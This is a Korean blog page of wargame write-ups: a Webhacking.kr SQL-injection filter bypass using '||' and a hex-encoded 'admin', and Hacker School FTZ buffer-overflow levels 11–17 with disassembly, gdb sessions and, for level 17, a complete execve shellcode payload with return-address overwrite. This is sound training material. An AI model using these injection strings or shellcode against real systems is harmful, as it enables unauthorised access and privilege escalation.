Webhacking.kr - Prob 49 - 300 - SQL Injection


문제의 첫 화면이다.

46번과 같은 화면을 볼 수 있지만 필터링 되는 부분에서 차이가 있다.





바로 소스보기 화면으로 들어가면 다음과 같이 index.phps라는 힌트가 적혀있다.



하지만 소스보기를 통해 들어가면 다음과 같이 복잡한 소스로 적혀있다.

이것을 html 페이지를 하나 만들어서 변환 시켜 보았다.



위와 같이 필터링하는 문자들을 확인할 수 있으며 q[0]에 admin을 넣게 되면 문제를 풀 수 있다.




우선 1을 입력해보았다.

zzibong이라는 id가 출력되며 level 2는 admin이 아닐까하는 추측을 할 수 있다.


이번 문제는 or, and, limit 등 지금까지 하던 문자열들을 모두 필터링 하고 있는 것을 볼 수 있다.

게다가 ()와 , 등 모두 필터링 되기 때문에 concat이나 char를 사용할 수 없다.

하지만 잘 보면 이 문제에서는 계속 필터링 되던 0x가 빠진 것을 볼 수 있는데 헥스값을 이용할 수 있다는 의미가 된다.

admin은 헥스값으로 넣어주기로 하고 or는 같은 의미를 가지는 || 연산자를 사용하면 된다.


이를 기반으로 쿼리문을 작성해보면 다음과 같다.

"select id from members where lv=2||id=0x61646d696e"







저작자 표시 비영리 변경 금지
신고

'WarGame > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr prob 49 - 300  (0) 2014.01.24

Hackershcool level17 = )

 

해커스쿨 FTZ 레벨17 [BOF]

 

#include <stdio.h>

void printit() {

printf("Hello there!\n");

}

main()

{ int crap;

void (*call)()=printit;

char buf[20];

fgets(buf,48,stdin);

setreuid(3098,3098);

call();

}

 

17번 문제의 소스를 보면 fgets에 취약점이 존재하고 setreuid로 권한상승이 이뤄지고 있다.

 

0x080484a8 <main+0>:push%ebp

0x080484a9 <main+1>:mov%esp,%ebp

0x080484ab <main+3>:sub$0x38,%esp

0x080484ae <main+6>:movl$0x8048490,0xfffffff0(%ebp)

0x080484b5 <main+13>:sub$0x4,%esp

0x080484b8 <main+16>:pushl0x804967c

0x080484be <main+22>:push$0x30

0x080484c0 <main+24>:lea0xffffffc8(%ebp),%eax

0x080484c3 <main+27>:push%eax

0x080484c4 <main+28>:call0x8048350 <fgets>

0x080484c9 <main+33>:add$0x10,%esp

0x080484cc <main+36>:sub$0x8,%esp

0x080484cf <main+39>:push$0xc1a

0x080484d4 <main+44>:push$0xc1a

0x080484d9 <main+49>:call0x8048380 <setreuid>

0x080484de <main+54>:add$0x10,%esp

0x080484e1 <main+57>:mov0xfffffff0(%ebp),%eax

0x080484e4 <main+60>:call*%eax

0x080484e6 <main+62>:leave

0x080484e7 <main+63>:ret

 

disas main을 해보면 Buf의 크기는 0xffffffc8, 즉 ebp-38지점에서 문자열을 입력받고 있기때문에 56byte라는 것을 알 수 있다.

 

(gdb) x/x 0x8048490

0x8048490 <printit>:0x83e58955

 

main+6에서 0x8048490의 값을 확인해본 결과 printit함수의 시작 부분이라는 것을 알 수 있었고 이 주소를 ebp-16지점에서 함수의 주소를 저장하고 있다. 이 ebp-16의 주소를 다시 eax에 복사 후 eax에 저장된 주소를 포인터로 호출하고 있다. 따라서 printit함수의 주소가 들어간 ebp-16부분에서 쉘코드의 주소를 넣어주면 된다. 그렇다면 이제 ebp-16의 위치에 들어갈 쉘 코드가 어디에 입력되는지만 알아보면 될 것이다.

 

(gdb) b *main+33

Breakpoint 1 at 0x80484c9

(gdb) r

Starting program: /home/level17/attackme

AAAAAAAA

Breakpoint 1, 0x080484c9 in main ()

(gdb) x/x $eax

0xbffffae0:0x41414141

 

fgets함수의 다음 부분인 main+33지점에서 브레이크포인트를 걸고 eax의 값을 확인한 결과 입력한 값이 저장되는 주소를 확인할 수 있었다. 이제 저 지점에 쉘코드가 들어가게 되고 ebp-16에서는 0xbffffae0를 넣어주면 될 것이다.

 

ret

ebp

Buf = 56byte

쉘코드의 주소값 = bffffae0

Dummy = 15byte

Shell Code = 25byte

 

준비한 쉘코드는 프로그램에서 이미 권한상승이 이뤄지므로 기본적으로 쉘만 실행하는 코드로 준비했다.

따라서 다음과 같은 명령으로 Level18의 쉘을 얻을 수 있을 것이다.

 

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"A"*15+"\xe0\xfa\xff\xbf"

 

whoami

level18

id

uid=3098(level18) gid=3097(level17) groups=3097(level17)

my-pass

TERM environment variable not set.

 

Level18 Password is "why did you do it".







저작자 표시 비영리 변경 금지
신고

'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level17  (0) 2013.04.02
해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27

Hackershcool level16 = )

 

해커스쿨 FTZ 레벨16 [BOF]

 

 

 

코드를 살펴보면 일단 쉘을 실행하는 함수와 printit이라는 함수가 있고 크기가 20인 배열과 취약점이 있는 fgets함수가 있다.

 

 

프로그램을 실행시켜보니 깔끔하게 printit함수를 출력시키고 끝나버린다. 하지만 printit함수가 아닌 shell함수의 주소가 들어간다면 쉘이 떨어지게 될 것이다.

 

 

메인함수에서는 아까와 같이 56byte의 공간을 할당해주고 있으며 ebp-16지점에서 eax에 값을 넣는 것을 볼 수 있는데 eax의 값에서 어떤 함수를 call해주고 있는 것을 볼 수 있다. 어떤 함수인지 알아보기 위해 main+39에 브레이크포인트를 걸고 eax의 값을 확인해보았다.

 

 

eax의 값은 0x8048500 주소에 있는 함수를 불러오는 것을 알 수 있다. 하지만 이미 프로그램 소스를 보았으니 이 코드는 printit함수라는 것을 추측할 수 있다. 

 

 

확인해보기 위하여 printit함수를 disas 시켜보니 역시 printit함수가 맞았고 이 주소 대신 shell함수의 주소를 넘겨줘야하므로 shell함수의 시작 주소도 확인해보았다.

 

 

Shell함수의 주소는 0x080484d0라는 것을 알 수 있고 이 값을 이제 ebp-16에 넣어주면 프로그램은 printit함수 대신 shell함수를 call 할 것이다. 따라서 다음과 같은 코드로 공격해보았다.

 

그 결과 성공적으로 쉘과 Level17의 패스워드를 얻을 수 있었다 = )

 






저작자 표시 비영리 변경 금지
신고

'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level17  (0) 2013.04.02
해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27

Hackershcool level15 = )

 

해커스쿨 FTZ 레벨15 [BOF]

 

 

 

15번 문제는 14번 문제와 비슷하지만 check 변수에서 포인터를 이용하고 있다는 점이 다르다.

 

 

전체적으로는 14번문제와 비슷하지만 포인터를 사용하고 있기 때문에 이번에는 0xdeadbeef란 문자열 대신 0xdeadbeef를 가리키는 주소를 넣어주면 된다. 버퍼 중간에 deadbeef란 문자열을 넣어주고 ebp-16부분에 이 문자열을 가리키는 주소를 넣으면 되는것이다.

 

 

main+32에서 브레이크 포인트를 걸고 입력한 값들이 어디에 저장되는지 찾아보니 0xbffffae0에 값이 들어가는 것을 알 수 있다. 이 부분에 deadbeef라는 값이 들어가게 되고 ebp-16되는 지점에서는 이 부분을 가리켜주면 되는 것이다.

 

 

문제 풀이 방법이 조금씩 바뀌고 있지만 그래도 다음 레벨의 패스워드를 얻을 수 있었다 = )







저작자 표시 비영리 변경 금지
신고

'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level17  (0) 2013.04.02
해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27

Hackershcool level14 = )

 

해커스쿨 FTZ 레벨14 [BOF]

 

 

 

이번에는 fgets함수로 글자수 길이를 45바이트로 제한하고 있지만 buf배열의 크기가 20이므로 BOF가 발생할 수 있다. 그리고 check변수의 값이 0xdeadbeef라는 값이 들어가야 setreuid와 쉘이 뜨게 되어있다. 바로 쉘을 얻을 수 있으니 에그쉘 없이 BOF만을 이용해 check에 deadbeef라는 문자열을 넣어야 한다는 것을 추측할 수 있다.

 

 

main한 번 살펴보면 ①번 밑줄에서 56byte만큼 공간을 할당해주고 있고 ②번 밑줄에서 ebp-16만큼의 공간에서 문자열 비교를 해주고 있다. 그렇다면 쓰레기값 ‘40byte+비교문자열’이면 쉘이 뜰거라는 것을 알 수 있다. 인자 전달 방식은 이전의 Level12와 같이 gets와 같은 fgets이므로 cat 명령어와 Pipe를 이용하여 전달해주면 된다.

 

 

다음과 같이 공격이 성공하여 Level15의 패스워드를 얻을 수 있다.







저작자 표시 비영리 변경 금지
신고

'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27
해커스쿨 Level11  (0) 2013.03.25

Hackershcool level13 = )

 

해커스쿨 FTZ 레벨13 [BOF]

 

 

 

이번 문제는 11, 12번과 역시 같은 구조이지만 변수 i의 값이 0x1234567이 아니라면 메시지 출력 후 프로그램이 종료되어버리는 특징이 있다. 따라서 이번에는 변수 i 부분에는 01234567이라는 값을 넣어주고 나머지 부분은 dummy로 오버플로우 시켜서 ret값에 도달하면 된다.

버퍼1 + \x67\x45\x23\x01 + 버퍼2 + ebp + Ret 과 같은 구조로 코드를 구성해야하기 때문에 변수 i까지의 거리를 구해야한다.

 

0x080484a0 <main+0>: push   %ebp
0x080484a1 <main+1>: mov    %esp,%ebp
0x080484a3 <main+3>: sub    $0x418,%esp
0x080484a9 <main+9>: movl   $0x1234567,0xfffffff4(%ebp)

0x080484b0 <main+16>: sub    $0x8,%esp
0x080484b3 <main+19>: push   $0xc16
0x080484b8 <main+24>: push   $0xc16
0x080484bd <main+29>: call   0x8048370 <setreuid>
0x080484c2 <main+34>: add    $0x10,%esp
0x080484c5 <main+37>: cmpl   $0x1,0x8(%ebp)
0x080484c9 <main+41>: jle    0x80484e5 <main+69>
0x080484cb <main+43>: sub    $0x8,%esp
0x080484ce <main+46>: mov    0xc(%ebp),%eax
0x080484d1 <main+49>: add    $0x4,%eax
0x080484d4 <main+52>: pushl  (%eax)
0x080484d6 <main+54>: lea    0xfffffbe8(%ebp),%eax
0x080484dc <main+60>: push   %eax
0x080484dd <main+61>: call   0x8048390 <strcpy>

0x080484e2 <main+66>: add    $0x10,%esp
0x080484e5 <main+69>: cmpl   $0x1234567,0xfffffff4(%ebp)
0x080484ec <main+76>: je     0x804850d <main+109>
0x080484ee <main+78>: sub    $0xc,%esp
0x080484f1 <main+81>: push   $0x80485a0
0x080484f6 <main+86>: call   0x8048360 <printf>
0x080484fb <main+91>: add    $0x10,%esp
0x080484fe <main+94>: sub    $0x8,%esp
0x08048501 <main+97>: push   $0xb
0x08048503 <main+99>: push   $0x0
0x08048505 <main+101>: call   0x8048380 <kill>
0x0804850a <main+106>: add    $0x10,%esp
0x0804850d <main+109>: leave 
0x0804850e <main+110>: ret   
0x0804850f <main+111>: nop

 

위의 코드를 보면 main+3에서 1048바이트만큼 Buffer 공간을 할당해주고 있고 main+9, 54, 60, 61에서는 1234567이라는 값을 ebp-12번째에 넣어야 한다는 것을 알 수 있다.

 

 Ret = Egg Shell

 ebp = 4byte

Buffer

= 1048byte

Buf ① = 8byte

0x1234567 = 4byte

Buf ② = 1036byte

 

좌측의 표와 같이 스택이 구성되었고 공격 코드는 A*1036, \x67\x45\x23\x01, A*12, RET와 같은 구조로 짤 수 있다.

 

 

그 결과 성공적으로 Level14의 Password를 얻어낼 수 있었다.







저작자 표시 비영리 변경 금지
신고

'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27
해커스쿨 Level11  (0) 2013.03.25
  1. 초보해커 2015.03.18 13:24 신고

    ebp-12byte라는것은 어떻게 알 수 있는건가요?

Hackershcool level12 = )

 

해커스쿨 FTZ 레벨12 [BOF]

 

 

 

Level 12문제도 Level11처럼 hint를 보면 setreuid함수와 gets함수로 문자열을 입력받는 것을 볼 수 있다.

12번 문제도 11번처럼 gdb로 disas main해본 결과 다음과 같았다.

 

 

①을 보면 11번 문제와 마찬가지로 스택에 16진수로 108만큼 공간을 할당 해주는 것을 볼 수 있다. 역시 10진수로 바꾸면 264바이트가 된다. 이후는 11번 문제와 같이 264바이트 + ebp 4바이트 = 268바이트를 쓰레기 값으로 채워주고 Return Address를 에그쉘의 주소로 넘겨주면 된다. 따라서 이전과 같이 공격을 해보았다.

 

 

공격한 방법이 효과가 없었으며 11번과 달리 gets로 입력받으므로 인자 전달방식을 바꿔야겠다고 생각됬고 | (Pipe)를 사용해봤다.

 

 

하지만 쉘을 얻지 못했고 나름대로의 원인과 해결법을 찾아보았다.

① Pipe는 왼쪽의 표준 출력을 오른쪽의 표준입력으로 전달한다.

② 표준입력을 지원하는 명령어인 cat을 Perl문과 같이 사용하기 위해 ‘;’으로 명령어 구분

③ '`'(Back quote)로 묶인 문자열은 명령어로 인식한다.

 

위 사진에서처럼 공격을 한다면 attackme는 제대로된 표준입력을 받지 못하기 때문에 cat 명령어를 붙여주며 이를 위해 ‘;’를 사용하여 명령어를 나눠준다. 하지만 Back quote로 묶어준다면 ';cat'자체를 명령어로 인식하여 제대로 실행하지 못하기 때문에 ‘()’를 사용하여 하나로 묶어주고 Pipe를 통해 attackme로 넘겨준다.

따라서 제대로 된 코드를 쓰면 다음과 같이 쉘이 떨어지고 Level13의 패스워드를 얻을 수 있다.

 

 

 






저작자 표시 비영리 변경 금지
신고

'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27
해커스쿨 Level11  (0) 2013.03.25

Hackershcool level11 = )

 

해커스쿨 FTZ 레벨11 [BOF]

 

 

 

 

Level 11로 로그인을 한 뒤 파일 목록을 보니 attackme라는 파일에 level12의 setuid가 걸려있는 것을 확인하고 hint파일을 열어보니 attackme의 소스를 확인할 수 있다.

setuid가 걸려있는 파일이 실행 중인 상태에서는 해당 파일의 소유자의 권한이 주어지므로 이를 이용해 level12의 쉘을 실행시킬 수 있다.

 

 

gdb를 이용하여 attackme 파일의 main함수 부분을 disassemble 해보면 다음과 같은 구조라는 것을 알 수 있다.

①번 코드를 살펴보면 ESP에 16진수로 108크기 만큼 Buffer 영역을 확보해주고 있다. 16진수 108은 10진수로 264이다.

버퍼의 크기는 264바이트이며 우리가 쓰레기 값으로 채워야하는 부분은 264바이트 + EBP 4바이트 = 268바이트가 된다.

 

이를 바탕으로 에그쉘을 가지고 공격을 해볼 수 있다.

 

 

우선 밑줄 친 부분을 살펴보면 크게 세 부분으로 나눌 수 있다.

첫 번째, attackme라는 프로그램의 실행

두 번째, attckme의 인자로 A라는 1바이트 문자 268개 전달

세 번째, Return Address에 들어갈 에그쉘의 주소 (①에서 나온 주소)

 

BOF 공격을 위해 에그쉘을 사용했는데 에그쉘이란 쉘코드를 입력할 공간이 적을 경우 환경변수에 올려서 사용하는 프로그램으로 Return Address의 주소로 에그쉘의 주소를 입력하게 되면 쉘이 실행된다.

에그쉘의 소스는 생략하며 환경변수에 올린 에그쉘의 주소를 얻어오기 위하여 getegg라는 프로그램을 작성하였다. getegg라는 파일을 실행시키면 ①과 같이 주소가 나오며 이 주소를 Return Address의 주소로 넣어준다.

 

<getegg.c의 소스>

 

에그쉘의 주소는 Little Endian방식이기 때문에 뒤에서부터 1byte단위로 끊어서 넣어주면 된다.

공격이 성공하면 Return Address에 들어간 에그쉘의 주소로 인해 쉘이 뜨게 되고 my-pass라는 명령어를 쳐보면 Level 12의 패스워드를 확인 할 수 있다. = )







저작자 표시 비영리 변경 금지
신고

'WarGame > Hacker School FTZ' 카테고리의 다른 글

해커스쿨 Level16  (0) 2013.03.31
해커스쿨 Level15  (0) 2013.03.30
해커스쿨 Level14  (0) 2013.03.29
해커스쿨 Level13  (1) 2013.03.28
해커스쿨 Level12  (0) 2013.03.27
해커스쿨 Level11  (0) 2013.03.25

+ Recent posts

티스토리 툴바